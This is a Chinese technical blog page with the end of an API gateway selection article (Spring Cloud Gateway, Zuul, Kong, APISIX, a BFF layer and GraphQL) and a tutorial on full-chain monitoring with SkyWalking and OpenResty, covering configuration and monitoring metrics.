三 java技术栈的 API Gateway 选型

由于后端采用java 的 spring cloud 开发的，所以在语言一致性上更倾向 java 语言开发的组件。如上图虽然在 API Gateway 的位置上写的是 spring cloud gateway，然而也可以采用像 zuul、zuul2 这些同样是 java 语言开发的组件。对于具体 zuul 和 spring gateway的选型，是这样考虑的：

spring cloud gateway	zuul
性能	性能比 Netflix Zuul 好将近一倍	Zuul1 的性能较差 Zuul2 较 Zuul1 有较大的提升
社区和文档	spring社区非常活跃	一般
可维护性	基于spring官方维护性强	经常跳票、Spring Cloud暂时还没有对Zuul2.0的整合计划
亮点	异步、配置灵活	成熟、简单门槛低
不足	早期产品、新版本踩坑	性能一般、可编程一般

Spring Cloud Gateway 的性能比 Zuul 好基本上已经是业界公认的了，实际上，Spring Cloud Gateway 官方也发布过一个性能测试，这里节选如下数据：

Spring Cloud Gateway 构建于 Spring 5+，基于 Spring Boot 2.x 响应式的、非阻塞式的 API。同时，它支持 websockets，和 Spring 框架紧密集成。从目前来看，gateway替代zuul是趋势。基于以上这些，综合考虑在架构中使用Spring Cloud Gateway。

四非java技术栈的 API Gateway 选型

现代 API Gateway 越来越需要或者流行可编程网关了。上面介绍的都是基于 java 语言开发的可编程的 API Gateway。下面我们来聊聊非 java 语言开发的网关。从前面的架构图上看，我们完全可以将 NGINX 和 API Gateway 合并起来，他们的功能的重合点自然消除了，也能降低架构的复杂性和运维成本。

NGINX 是一款优秀的软件，然而它在动态性方面的不足导致不太灵活，后面出现的 OpenResty、tengine 这些基于NGINX 和 Lua 的软件在动态性、灵活方面有本质上的改善，加上基于Lua脚本和插件，可以实现所谓的可编程。

市面上基于OpenResty 以 API Gateway 为应用场景的应用软件有 Kong、APISIX、tyk 等。以下是CNCFland scape 的一个概览

比较了一下 NGING 和 KONG

经过考虑，在架构上，后期有可能将 NGINX、Spring Cloud Gateway 替换成KONG 或其他软件。

比较了一下，目前最火的应用是Kong，另一个国产的 APISIX 趋势也是很猛，且他们的技术栈雷同，所以我在选型上找到了APISIX的作者做的对比：

从 API 网关核心功能点来看，两者均已覆盖：

更详细的比较：

通过性能测试可以看到，在不开启插件的情况下，Apache APISIX 的性能（QPS 和延迟）是 Kong 的2倍，但开启了两个常用插件后，性能就是 Kong 的十倍了。

无论从性能、可用性、可编程代码量等各个维度APISIX都是非常优秀的，目前唯一担心的就是这种早期项目没有太多大规模应用实践，如果上生产还是有风险，可在测试环境调研，并等待有更多生产实践作为依据。当然如果架构师认为风险并不大，且经过了测试调研也是可以上的。😁

五 BFF 层建设迭代

前面我们将 API Gateway 的网关选型介绍了一下，请求通过网关后一般不会直接打到具体微服务上的，而是会通过BFF层，所谓的BFF，即 backend for frontend 面向前端的后端。具体来说它的职能包括：

api数据裁剪
接口编排
接口调用

这层有的公司会按业务进行多个BFF的建设，在BFF中又有可能拆成多个服务，比如支撑首页的，支持列表页的，或者只有一个服务，支撑某个应用的所有请求的。

有了BFF层，前后端就会更好的解耦，前端不用再调用多个接口，然后再组织数据，微服务后端也只需要关心自己服务边界内的事情。

然而在实践的过程中会出现一些问题：

大量业务逻辑从前后端集中在了BFF层
BFF层逻辑复杂，代码量越来越大，难以维护
BFF API版本维护复杂
前端端接口职责不清，扯皮的结果就是放在BFF层

以上是我真实遇到过的场景。所以在后面的架构设计和实施中，这些情况会尽量避免，但没有从技术上解决根本问题。直到 GraphQL 的出现，让我眼前一亮，给了我一个很好的解决方案。关于GraphQL的搭建，数据交换等细节这里就不展开说了，感兴趣的可以从网上找到很多资料。

下图是我从网络上找的一个符合我心目中的理想架构。

图片来源于网络

说起来简单，做起来没那么容易，细节是魔鬼，每利用一个新的技术都会经历一波打怪升级的过程。不过总体来说利用GraphQL确实能从理论上解决上面所说的问题。而重点是如何将它结合进你的系统架构中，并且发挥出它的优势。架构很多时候是在做权衡和选择

关注公众号获取更多精彩内容

如何使用skywalking 进行全链路监控

Tue, 29 Sep 2020 06:41:07 +0000

如何使用skywalking 进行全链路监控

本文涉及内容

skywalking 全链路监控
skywalking 的参数配置
skywalking UI 监控视角与指标介绍
一些很有用的点

skywalking 全链路监控

下图是我从网上找到的一个比较常见的微服务架构，看的出来使用的是 spring cloud 框架组件，后端服务是 java。我所谓的全链路监控是从 Nginx 到数据库这个链路的监控。

我们知道 skywalking 可以通过 agent 比较方便的监控到后端的 java 应用。有关 skywalking 的安装请参考官方文档[1]

以下是几个界面截图：通过 skywalking , 我们可以从服务入口开始一直监控到数据库，甚至是数据库的 sql 以及参数都可以一览无余（sql 参数显示需要单独配置，后面会讲）。

然而我们并没有监控到请求的上游源头，即 Nginx 入口，如果我们将从 Nginx 入口来的并且经由 java 服务最终到数据库的请求全部监控起来，就完成了请求的全链路监控。上面我们处理了下半段，现在我们来处理上半段。

skywalking-nginx-lua[2] 这是 skywalking 的另一个项目，可以通过它来对nginx进行监控。skywalking-nginx-lua 是使用lua来织入 agent 的。所以要求你的 nginx 要么有 lua 模块，要么用 openResty 这样的自带 Lua 功能模块的软件。

我使用的是openResty，只需要加以下配置就可以实现监控（注意中文注释部分）：

 1http {
 2 lua_package_path "/Path/to/.../skywalking-nginx-lua/lib/skywalking/?.lua;;";
 3
 4 # Buffer represents the register inform and the queue of the finished segment
 5 lua_shared_dict tracing_buffer 100m;
 6
 7 # Init is the timer setter and keeper
 8 # Setup an infinite loop timer to do register and trace report.
 9 init_worker_by_lua_block {
10 local metadata_buffer = ngx.shared.tracing_buffer
11
12 -- Set service name
13 metadata_buffer:set('serviceName', 'User Service Name')
14 -- Instance means the number of Nginx deployment, does not mean the worker instances
15 metadata_buffer:set('serviceInstanceName', 'User Service Instance Name')
16 #这是你的skywalking server地址
17 require("client"):startBackendTimer("http://127.0.0.1:12800")
18 }
19
20 server {
21 listen 8080;
22
23 location /ingress {
24 default_type text/html;
25
26 rewrite_by_lua_block {
27 ------------------------------------------------------
28 -- NOTICE, this should be changed manually
29 -- This variable represents the upstream logic address
30 -- Please set them as service logic name or DNS name
31 --
32 -- Currently, we can not have the upstream real network address
33 ------------------------------------------------------
34 require("tracer"):start("upstream service")
35 -- If you want correlation custom data to the downstream service
36 -- require("tracer"):start("upstream service", {custom = "custom_value"})
37 }
38
39 # 这是你的目标下游服务，比如java的微服务网关
40 proxy_pass http://127.0.0.1:8080/backend;
41
42 body_filter_by_lua_block {
43 if ngx.arg[2] then
44 require("tracer"):finish()
45 end
46 }
47
48 log_by_lua_block {
49 require("tracer"):prepareForReport()
50 }
51 }
52 }
53}

下面是几个监控到的nginx数据的截图

至此我们就完成了整个链路的监控。

skywalking 的参数配置

一些中文文档

agent的文档[3]
ui的文档[4]

通过修改agent/config/agenet.config 文件得到的能力

根据文档 https://github.com/apache/skywalking/blob/v8.0.0/docs/en/setup/service-agent/java-agent/README.md 得知

1 可以获取 sql中的参数，默认是获取不到的。当然还要设置参数最大长度。但获取参数有可能引起性能问题。

property key	Description	Default
plugin.mysql.trace_sql_parameters	If set to true, the parameters of the sql (typically java.sql.PreparedStatement) would be collected.	false
plugin.mysql.sql_parameters_max_length	If set to positive number, the db.sql.parameters would be truncated to this length, otherwise it would be completely saved, which may cause performance problem.	512

2 收集http参数

1#收集SpringMVC plugin插件请求参，在tomcat上时这俩设置一个即可plugin.tomcat.collect_http_params or plugin.springmvc.collect_http_params
2 plugin.springmvc.collect_http_params=true
3 #请求参数收集的最大字符长度, 配置过大会影响性能.
4 plugin.http.http_params_length_threshold=1024

3 skywalking-oap 的配置文件中关于数据存储时长的配置

 1core:
 2 selector: ${SW_CORE:default}
 3 default:
 4 # Mixed: Receive agent data, Level 1 aggregate, Level 2 aggregate
 5 # Receiver: Receive agent data, Level 1 aggregate
 6 # Aggregator: Level 2 aggregate
 7 role: ${SW_CORE_ROLE:Mixed} # Mixed/Receiver/Aggregator
 8 restHost: ${SW_CORE_REST_HOST:0.0.0.0}
 9 restPort: ${SW_CORE_REST_PORT:12800}
10 restContextPath: ${SW_CORE_REST_CONTEXT_PATH:/}
11 gRPCHost: ${SW_CORE_GRPC_HOST:0.0.0.0}
12 gRPCPort: ${SW_CORE_GRPC_PORT:11800}
13 gRPCSslEnabled: ${SW_CORE_GRPC_SSL_ENABLED:false}
14 gRPCSslKeyPath: ${SW_CORE_GRPC_SSL_KEY_PATH:""}
15 gRPCSslCertChainPath: ${SW_CORE_GRPC_SSL_CERT_CHAIN_PATH:""}
16 gRPCSslTrustedCAPath: ${SW_CORE_GRPC_SSL_TRUSTED_CA_PATH:""}
17 downsampling:
18 - Hour
19 - Day
20 - Month
21 # Set a timeout on metrics data. After the timeout has expired, the metrics data will automatically be deleted.
22 enableDataKeeperExecutor: ${SW_CORE_ENABLE_DATA_KEEPER_EXECUTOR:true} # Turn it off then automatically metrics data delete will be close.
23 dataKeeperExecutePeriod: ${SW_CORE_DATA_KEEPER_EXECUTE_PERIOD:5} # How often the data keeper executor runs periodically, unit is minute
24 recordDataTTL: ${SW_CORE_RECORD_DATA_TTL:3} # Unit is day
25 metricsDataTTL: ${SW_CORE_RECORD_DATA_TTL:7} # Unit is day

主要是这四行

1enableDataKeeperExecutor: ${SW_CORE_ENABLE_DATA_KEEPER_EXECUTOR:true} # Turn it off then automatically metrics data delete will be close.
2dataKeeperExecutePeriod: ${SW_CORE_DATA_KEEPER_EXECUTE_PERIOD:5} # How often the data keeper executor runs periodically, unit is minute
3recordDataTTL: ${SW_CORE_RECORD_DATA_TTL:3} # Unit is day
4metricsDataTTL: ${SW_CORE_RECORD_DATA_TTL:7} # Unit is day

skywalking UI 监控视角与指标介绍

cpm 每分钟请求数

cpm 全称 call per minutes，是吞吐量(Throughput)指标。下图是拼接的全局、服务、实例和接口的吞吐量及平均吞吐量。

第一条185cpm=185/60=3.08个请求/秒。

SLA 服务等级协议

SLA 全称 Service-Level Agreement，直译为 “服务等级协议”，用来表示提供服务的水平。在IT中，SLA可以衡量平台的可用性，下面是N个9的计算：

1年 = 365天 = 8760小时
99 = 8760 * 1% => 3.65天
99.9 = 8760 * 0.1% => 8.76小时
99.99 = 8760 * 0.01% => 52.6分钟
99.999 = 8760 * 0.001% => 5.26分钟

因此，全年只要发生一次较大规模宕机事故，4个9肯定没戏，一般平台3个9差不多。但2个9就基本不可用了，相当于全年有87.6小时不可用，每周(一个月按4周算)有1.825小时不可用。下图是服务、实例、接口的SLA，一般看年度、月度即可。

Percent Response 百分位数统计

表示采集样本中某些值的占比，Skywalking 有 p50、p75、p90、p95、p99 一些列值。其中的 “p99:390” 表示 99% 请求的响应时间在390ms以内。而99%一般用于抛掉一些极端值，表示绝大多数请求。

Slow Endpoint 慢端点

Endpoint 表示具体的服务，例如一个接口。下面是全局Top N的数据，通过这个可以观测平台性能情况。

Heatmap 热力图

Heapmap 可译为热力图、热度图都可以，其中颜色越深，表示请求数越多，这和GitHub Contributions很像，commit越多，颜色越深。横坐标是响应时间，鼠标放上去，可以看到具体的数量。通过热力图，一方面可以直观感受平台的整体流量，另一方面也可以感受整体性能。

apdex

是一个衡量服务器性能的标准。apdex有三个指标：

满意：请求响应时间小于等于T。
可容忍：请求响应时间大于T，小于等于4T。
失望：请求响应时间大于4T。

T：自定义的一个时间值，比如：500ms。apdex = （满意数 + 可容忍数/2）/ 总数。例如：服务A定义T=200ms，在100个采样中，有20个请求小于200ms，有60个请求在200ms到800ms之间，有20个请求大于800ms。计算apdex = (20 + 60/2)/100 = 0.5。

一些很有用的点

在拓扑图中

红色代表当前节点的请求有一段时间内是响应异常的。当节点全部变红的时候证明服务现阶段内就彻底不可用了。我们可以通过Topology迅速发现某一个服务潜在的问题，并进行下一步的排查并做到预防。

仔细看线是有流向的，有单向和双向的，单向有从左至右的或从右至左的，这样你就知道你的服务是谁依赖了谁。双向的就证明你的服务有循环引用依赖问题。

在最新版本8.1中有endpoint端口依赖的分析，可以分析出接口级别的依赖关系，可以知道某接口是被谁调用，它又调用了谁。

关注公众号获取更多精彩内容

参考资料

[1]

skywalking官方文档: https://github.com/apache/skywalking/blob/master/docs/en/setup/README.md

[2]

skywalking-nginx-lua项目地址: https://github.com/apache/skywalking-nginx-lua/

[3]

skywalking-agent文档: https://skyapm.github.io/document-cn-translation-of-skywalking/zh/8.0.0/setup/service-agent/java-agent/

skywalking-ui 文档: https://skyapm.github.io/document-cn-translation-of-skywalking/zh/8.0.0/ui/

Nginx on 小盒子的技术分享

为什么 .tar.gz 要两个后缀

快速安装 ClickHouse

概述

安装

克隆 HyperDX 仓库

docker compose 启动

运行

客户端连接

数据库初始化

浏览器如何播放 RTSP 协议的 HEVC 视频

起因

经过

流视频服务器

ffmpeg 推流

拉流

问题

前端

最后

nginx 如何做针对 ip 的限流

闲白

正题

配置详解

limit_req_zone

lo4j2 漏洞复现过程及解决方案

背景

复现漏洞

环境介绍

原理介绍

复现

解决方案

改配置

升级版本

参考

Kubernetes监控体系总结

基本概念

cAdvisor

Prometheus

Operator

Prometheus Operator

HPA

Heapster

Metrics Server

kube-state-metrics

custom-metrics-apiserver

Prometheus 部署方案

我们的做法

参考

vim 配置 nginx 语法高亮

上了 istio 的贼船之 API Gateway

上了 istio 的贼船之 API Gateway

现状

上了贼船

API Gateway

未来

还有没有问题？

性能如何？

参考资料

API 网关选型及包含 BFF 的架构设计

API 网关选型及包含 BFF 的架构设计

一 背景介绍

二 架构调整

三 java技术栈的 API Gateway 选型

四 非java技术栈的 API Gateway 选型

五 BFF 层建设迭代

如何使用skywalking 进行全链路监控

如何使用skywalking 进行全链路监控

本文涉及内容

skywalking 全链路监控

skywalking 的参数配置

一些中文文档

通过修改agent/config/agenet.config 文件得到的能力

skywalking UI 监控视角与指标介绍

cpm 每分钟请求数

SLA 服务等级协议

Percent Response 百分位数统计

Slow Endpoint 慢端点

Heatmap 热力图

apdex

一些很有用的点

一背景介绍

二架构调整

四非java技术栈的 API Gateway 选型